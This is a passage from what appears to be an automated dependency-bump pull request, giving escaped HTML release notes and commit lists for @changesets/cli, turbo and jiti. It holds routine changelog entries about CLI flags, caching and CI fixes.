href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/assemble-release-plan\u003c/code\u003e\u003ca href=\"https://github.com/6\"\u003e\u003ccode\u003e@​6\u003c/code\u003e\u003c/a\u003e.0.10\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/get-dependents-graph\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/apply-release-plan\u003c/code\u003e\u003ca href=\"https://github.com/7\"\u003e\u003ccode\u003e@​7\u003c/code\u003e\u003c/a\u003e.1.1\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/get-release-plan\u003c/code\u003e\u003ca href=\"https://github.com/4\"\u003e\u003ccode\u003e@​4\u003c/code\u003e\u003c/a\u003e.0.16\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/config\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.1.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/cli\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.30.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1840\"\u003e#1840\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/057cca222321816b6c8c6f6c52130185b364de36\"\u003e\u003ccode\u003e057cca2\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/wotan-allfather\"\u003e\u003ccode\u003e@​wotan-allfather\u003c/code\u003e\u003c/a\u003e! - Add \u003ccode\u003e--since\u003c/code\u003e flag to \u003ccode\u003eadd\u003c/code\u003e command\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eadd\u003c/code\u003e command now supports a \u003ccode\u003e--since\u003c/code\u003e flag that allows you to specify which branch, tag, or git ref to use when detecting changed packages. This is useful for gitflow workflows where you have multiple target branches and the \u003ccode\u003ebaseBranch\u003c/code\u003e config option doesn't cover all use cases.\u003c/p\u003e\n\u003cp\u003eExample: \u003ccode\u003echangeset add --since=develop\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIf not provided, the command falls back to the \u003ccode\u003ebaseBranch\u003c/code\u003e value in your \u003ccode\u003e.changeset/config.json\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1845\"\u003e#1845\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/2b4a66a36497fd5504186dcc6ae9e287c8403de6\"\u003e\u003ccode\u003e2b4a66a\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Delegate OTP prompting to the package manager instead of handling it in-process. This allows Changesets to use the package manager's native web auth support.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1774\"\u003e#1774\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/667fe5aacf04dbefcf2532584ff2753b8417855a\"\u003e\u003ccode\u003e667fe5a\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/bluwy\"\u003e\u003ccode\u003e@​bluwy\u003c/code\u003e\u003c/a\u003e! - Support importing custom \u003ccode\u003ecommit\u003c/code\u003e option ES module. Previously, it used \u003ccode\u003erequire()\u003c/code\u003e which only worked for CJS modules, however now it uses \u003ccode\u003eimport()\u003c/code\u003e which supports both CJS and ES modules.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1839\"\u003e#1839\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/73b18099517b00a3c7b70c417b7f7f1bfaa24931\"\u003e\u003ccode\u003e73b1809\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/leochiu-a\"\u003e\u003ccode\u003e@​leochiu-a\u003c/code\u003e\u003c/a\u003e! - Add a \u003ccode\u003e--message\u003c/code\u003e (\u003ccode\u003e-m\u003c/code\u003e) flag to \u003ccode\u003echangeset add\u003c/code\u003e (and default \u003ccode\u003echangeset\u003c/code\u003e) so the changeset summary can be provided from the command line. When \u003ccode\u003e--message\u003c/code\u003e is present, the summary prompt is skipped while the final confirmation step is kept.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1806\"\u003e#1806\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/0e8e01e93358bdc8c318c608dd3b0e4af8219049\"\u003e\u003ccode\u003e0e8e01e\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/luisadame\"\u003e\u003ccode\u003e@​luisadame\u003c/code\u003e\u003c/a\u003e! - Changeset CLI can now be run from the nested directories in the project, where the \u003ccode\u003e.changeset\u003c/code\u003e directory has to be found in one of the parent directories\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1849\"\u003e#1849\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/9dc32308e4d208964b648a788ba4eee1003c273c\"\u003e\u003ccode\u003e9dc3230\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Compute the terminal's size lazily to avoid spurious stderr output in non-interactive mode\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1857\"\u003e#1857\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/2a7302577d2923dc7db5025003d8aa58fb627ff9\"\u003e\u003ccode\u003e2a73025\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Fix confusing prompt labels when entering changeset summary after external editor fallback\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1842\"\u003e#1842\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/6df3a5e95522a0210cb2b5619588a75f32b502c6\"\u003e\u003ccode\u003e6df3a5e\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/RodrigoHamuy\"\u003e\u003ccode\u003e@​RodrigoHamuy\u003c/code\u003e\u003c/a\u003e! - Allow private packages to depend on skipped packages without requiring them to also be skipped. Private packages are not published to npm, so it is safe for them to have dependencies on ignored or unversioned packages.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/changesets/changesets/commits/@changesets/cli@2.31.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​changesets/cli\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `turbo` from 2.7.4 to 2.10.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/turborepo/releases\"\u003eturbo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eTurborepo v2.10.5\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eChangelog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Evaluate simple include globs without wax compilation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13285\"\u003evercel/turborepo#13285\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Dogfood native Cargo support in this repository by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13283\"\u003evercel/turborepo#13283\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13286\"\u003evercel/turborepo#13286\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove dead sccache configuration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13289\"\u003evercel/turborepo#13289\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Serve the Remote Cache as an sccache backend for Cargo tasks by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13288\"\u003evercel/turborepo#13288\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Reject output path traversal by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13290\"\u003evercel/turborepo#13290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Disable the sccache proxy when remote cache use is off by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13291\"\u003evercel/turborepo#13291\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Embed sccache so the Cargo compile cache needs no installation by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13293\"\u003evercel/turborepo#13293\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.1 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13294\"\u003evercel/turborepo#13294\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Pin a flag-aware turbo canary for the eve-agent deployment by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13295\"\u003evercel/turborepo#13295\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make the sccache compile cache actually cache by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13296\"\u003evercel/turborepo#13296\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.2 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13297\"\u003evercel/turborepo#13297\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Stop ambient CARGO_INCREMENTAL from suppressing compile cache injection by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13298\"\u003evercel/turborepo#13298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Never let compile cache storage failures fail the build by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13299\"\u003evercel/turborepo#13299\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Add outputs path-traversal negative-case regression tests by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13300\"\u003evercel/turborepo#13300\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.3 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13302\"\u003evercel/turborepo#13302\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Authenticate to Remote Cache via OIDC token exchange by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13303\"\u003evercel/turborepo#13303\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Keep pnpm patches with version range keys during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13307\"\u003evercel/turborepo#13307\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: Scrub ambient turbo configuration from integration test children by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13306\"\u003evercel/turborepo#13306\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Show toolchain tasks in the TUI and never run in silence by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13308\"\u003evercel/turborepo#13308\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Fix change detection on push events by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13304\"\u003evercel/turborepo#13304\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: Rename the Cargo toolchain id to rust by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13311\"\u003evercel/turborepo#13311\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Remove extraneous bun.lock entries during prune by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13317\"\u003evercel/turborepo#13317\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Require a user-declared name for the Cargo workspace package by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13312\"\u003evercel/turborepo#13312\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Parse and validate the task command field by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13313\"\u003evercel/turborepo#13313\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Harden turbo-vsc to invoke turbo without a shell by \u003ca href=\"https://github.com/dnukumamras\"\u003e\u003ccode\u003e@​dnukumamras\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13319\"\u003evercel/turborepo#13319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Resolve and execute task command overrides by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13315\"\u003evercel/turborepo#13315\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.4 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13325\"\u003evercel/turborepo#13325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Run the Rust workspace tests through nextest via command override by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13316\"\u003evercel/turborepo#13316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Engage the Remote Cache and sccache compile cache for Rust CI by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13292\"\u003evercel/turborepo#13292\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Pin GitHub Actions to full commit SHAs by \u003ca href=\"https://github.com/XananasX7\"\u003e\u003ccode\u003e@​XananasX7\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13143\"\u003evercel/turborepo#13143\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Make npm prune rehoisting deterministic and complete by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13323\"\u003evercel/turborepo#13323\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: Report incremental cache reuse in the run summary by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13327\"\u003evercel/turborepo#13327\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: Remove planning docs by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13329\"\u003evercel/turborepo#13329\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Migrate docs site to \u003ccode\u003e@​vercel/geistdocs\u003c/code\u003e package by \u003ca href=\"https://github.com/molebox\"\u003e\u003ccode\u003e@​molebox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13320\"\u003evercel/turborepo#13320\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Update Remote Cache action by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13330\"\u003evercel/turborepo#13330\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erelease(turborepo): 2.10.5-canary.5 by \u003ca href=\"https://github.com/github-actions\"\u003e\u003ccode\u003e@​github-actions\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13331\"\u003evercel/turborepo#13331\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Remove path-based workflow scheduling by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13332\"\u003evercel/turborepo#13332\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Resolve EADDRINUSE in kitchen-sink api dev script by \u003ca href=\"https://github.com/ashusnapx\"\u003e\u003ccode\u003e@​ashusnapx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13328\"\u003evercel/turborepo#13328\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Disable telemetry messages in workflows by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13334\"\u003evercel/turborepo#13334\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent Cargo run tasks from being cached by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13335\"\u003evercel/turborepo#13335\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Isolate Cargo cache by host platform by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13337\"\u003evercel/turborepo#13337\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Continue TUI text selection beyond viewport by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13338\"\u003evercel/turborepo#13338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: Dogfood Cargo target restoration by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13336\"\u003evercel/turborepo#13336\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Require current Cargo lockfiles for caching by \u003ca href=\"https://github.com/anthonyshew\"\u003e\u003ccode\u003e@​anthonyshew\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/turborepo/pull/13339\"\u003evercel/turborepo#13339\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/78091b6537c715acfb3a9eb950f1a938131ba4d9\"\u003e\u003ccode\u003e78091b6\u003c/code\u003e\u003c/a\u003e publish 2.10.5 to registry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/82bcfb61f140b8f14181704474eef40e8a47b789\"\u003e\u003ccode\u003e82bcfb6\u003c/code\u003e\u003c/a\u003e refactor: Add \u003ccode\u003eToolchain\u003c/code\u003e output availability (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13360\"\u003e#13360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/6ed2fb4114de8bc0a7cd8053ee69cc20bb502f56\"\u003e\u003ccode\u003e6ed2fb4\u003c/code\u003e\u003c/a\u003e fix: Preserve Yarn package extension ranges when pruning (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13363\"\u003e#13363\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/38aa7d2dd0c931faaa4f732d19f53c883faa0ecd\"\u003e\u003ccode\u003e38aa7d2\u003c/code\u003e\u003c/a\u003e chore: Update agents app Eve dependency (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13364\"\u003e#13364\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/ed1724965d854cd9c2f8b71a0fa826ec786be161\"\u003e\u003ccode\u003eed17249\u003c/code\u003e\u003c/a\u003e fix: Synchronize Cargo prune Docker lockfile (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13350\"\u003e#13350\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/d53326620df104df16808425674ece8be0eb3529\"\u003e\u003ccode\u003ed533266\u003c/code\u003e\u003c/a\u003e fix: Hash Cargo build environment inputs (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13348\"\u003e#13348\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/ef122d98ae4a6ab90ad65af86f6ff1dd57de8b4f\"\u003e\u003ccode\u003eef122d9\u003c/code\u003e\u003c/a\u003e ci: Shard Rust tests across runners (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13356\"\u003e#13356\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/b3cd7a1ecc1d87031616d754967b80bf3c6ed14e\"\u003e\u003ccode\u003eb3cd7a1\u003c/code\u003e\u003c/a\u003e fix: Include patched Ghostty crate in Cargo workspace (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13357\"\u003e#13357\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/f82e2c7e4879d031f49e62c5fd1d7a52ec7f9e53\"\u003e\u003ccode\u003ef82e2c7\u003c/code\u003e\u003c/a\u003e release(turborepo): 2.10.5-canary.6 (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13355\"\u003e#13355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/turborepo/commit/e76f0b4b04e79d42edc5f6cd1167c605bd3862b1\"\u003e\u003ccode\u003ee76f0b4\u003c/code\u003e\u003c/a\u003e fix: Isolate Command Overrides From Toolchain Cache I/O (\u003ca href=\"https://redirect.github.com/vercel/turborepo/issues/13354\"\u003e#13354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vercel/turborepo/compare/v2.7.4...v2.10.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jiti` from 2.6.1 to 2.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/unjs/jiti/releases\"\u003ejiti's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.7.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/unjs/jiti/compare/v2.6.1...v2.7.0\"\u003ecompare changes\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003e🚀 Enhancements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd explicit resource management (\u003ccode\u003eusing\u003c/code\u003e/\u003ccode\u003eawait using\u003c/code\u003e) support (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/422\"\u003e#422\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport opt-in \u003ccode\u003etsconfigPaths\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/427\"\u003e#427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport virtual modules (\u003ca 